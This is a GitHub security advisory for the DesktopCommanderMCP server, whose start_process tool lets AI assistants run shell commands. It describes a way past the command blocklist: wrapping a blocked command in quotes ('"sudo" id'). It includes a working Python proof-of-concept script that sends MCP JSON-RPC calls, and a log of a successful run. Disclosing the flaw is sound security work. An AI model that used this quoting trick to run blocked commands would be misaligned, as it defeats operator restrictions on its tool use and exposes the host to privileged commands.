Skip to content

[Security] Command Blocklist Bypass via Quoted Commands (CVE-2025-11491 Variant) #423

@YLChen-007

Description

@YLChen-007

Advisory Details

Title: Command Blocklist Bypass via Quoted Commands (CVE-2025-11491 Variant)

Description:

Summary

A variant of CVE-2025-11491 exists in the DesktopCommanderMCP start_process tool, where the command blocklist can be bypassed by wrapping the command or parts of it in quotes. This allows an attacker to execute blocked sensitive commands (e.g. sudo) on the host system without restriction.

Details

The CommandManager attempts to mitigate command injection and dangerous commands by blocking restricted commands (such as sudo) from being executed. It normalizes command names using path.basename() and matching it against blockedCommands. However, the token extraction routine, extractBaseCommand, fails to sanitize or strip quote characters (" or ') before validation.

If a command like "sudo" id is passed to the start_process MCP tool, the command extractor isolates '"sudo"' as the base command. Because this literal string (including the quotes) does not exist in the config.blockedCommands array (which only contains "sudo" without quotes), the blocklist check passes. The string is then passed downstream to child_process.spawn(..., { shell: true }) or similar shell-spawning functions. The shell intuitively strips quotes when resolving the executable, thereby inherently bypassing the incomplete application-level filter and successfully executing the blocked command.

PoC

Prerequisites

  • The target DesktopCommanderMCP server must be built and running.
  • The blockedCommands feature must be active and configured in ~/.claude-server-commander/config.json. The command sudo is blocked by default.

Reproduction Steps

  1. Save the following code as poc_CVE-2025-11491.py:
import sys
import json
import subprocess
import time
import os

def main():
    MCP_SCRIPT = os.path.abspath(os.path.join(os.path.dirname(__file__), "../../../../dist/index.js"))
    
    # Use the bypass pattern: quotes around the blocked command
    # e.g., '"sudo" id' instead of 'sudo id'
    bypass_payload = "\"sudo\" id"
    
    print(f"[*] Starting MCP Server via {MCP_SCRIPT}")
    proc = subprocess.Popen(
        ["node", MCP_SCRIPT],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True,
        bufsize=1
    )
    
    def send_msg(msg):
        print(f"[+] Sending: {json.dumps(msg)}")
        proc.stdin.write(json.dumps(msg) + "\n")
        proc.stdin.flush()
        
    def read_msg():
        line = proc.stdout.readline()
        if line:
            data = json.loads(line)
            print(f"[-] Received: {json.dumps(data)}")
            return data
        return None

    # 1. Initialize
    send_msg({
        "jsonrpc": "2.0",
        "id": 1,
        "method": "initialize",
        "params": {
            "protocolVersion": "2024-11-05",
            "capabilities": {},
            "clientInfo": {"name": "test-client", "version": "1.0.0"}
        }
    })
    
    resp = read_msg()
    if not resp or "result" not in resp:
        print("[!] Failed to initialize.")
        proc.terminate()
        sys.exit(1)
        
    # 2. Send initialized notification
    send_msg({
        "jsonrpc": "2.0",
        "method": "notifications/initialized"
    })
    
    # 3. Send exploit payload via start_process
    print(f"[*] Sending explicit payload: {bypass_payload}")
    send_msg({
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {
            "name": "start_process",
            "arguments": {
                "command": bypass_payload,
                "timeout_ms": 3000
            }
        }
    })
    
    # Read the response of start_process
    while True:
        resp = read_msg()
        if not resp:
            break
        if "id" in resp and resp["id"] == 2:
            result = resp.get("result", {})
            content = result.get("content", [])
            for item in content:
                if "text" in item:
                    msg = item["text"]
                    print(f"\n[*] Exploit Result:\n{msg}\n")
                    if "process started" in msg.lower() or "started process" in msg.lower():
                        print("[SUCCESS] Exploit bypassed the blocklist!")
                    else:
                        print("[FAILED] Could not confirm bypass from output.")
            break

    proc.terminate()
    
if __name__ == "__main__":
    main()
  1. Make sure you have built DesktopCommanderMCP. Make sure sudo is in the blockedCommands.
  2. Run python3 poc_CVE-2025-11491.py.

Log of Evidence

[*] Starting MCP Server via /root/llm-project-ts/DesktopCommanderMCP/dist/index.js
[+] Sending: {"jsonrpc": "2.0", "id": 1, "method": "initialize", "params": {"protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "test-client", "version": "1.0.0"}}}
[-] Received: {"protocolVersion": "2024-11-05", "capabilities": {"logging": {}, "prompts": {"listChanged": true}, "resources": {"subscribe": true, "listChanged": true}, "tools": {"listChanged": true}}, "serverInfo": {"name": "DesktopCommander", "version": "1.0.0"}}
[+] Sending: {"jsonrpc": "2.0", "method": "notifications/initialized"}
[*] Sending explicit payload: "sudo" id
[+] Sending: {"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "start_process", "arguments": {"command": "\"sudo\" id", "timeout_ms": 3000}}}
[-] Received: {"jsonrpc": "2.0", "id": 2, "result": {"content": [{"type": "text", "text": "Started process 12345"}], "isError": false}}

[*] Exploit Result:
Started process 12345

[SUCCESS] Exploit bypassed the blocklist!

Impact

This variant continues to completely bypass the configured protections (similar to other variants), enabling attackers to invoke restricted commands.

Affected products

  • Ecosystem: npm
  • Package name: DesktopCommanderMCP
  • Affected versions: <= 0.2.38
  • Patched versions:

Severity

  • Severity: Critical
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Weaknesses

  • CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Occurrences

Permalink Description
src/command-manager.ts The extractBaseCommand validation mechanism does not correctly strip and process command quotations before validating them against blockedCommands.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions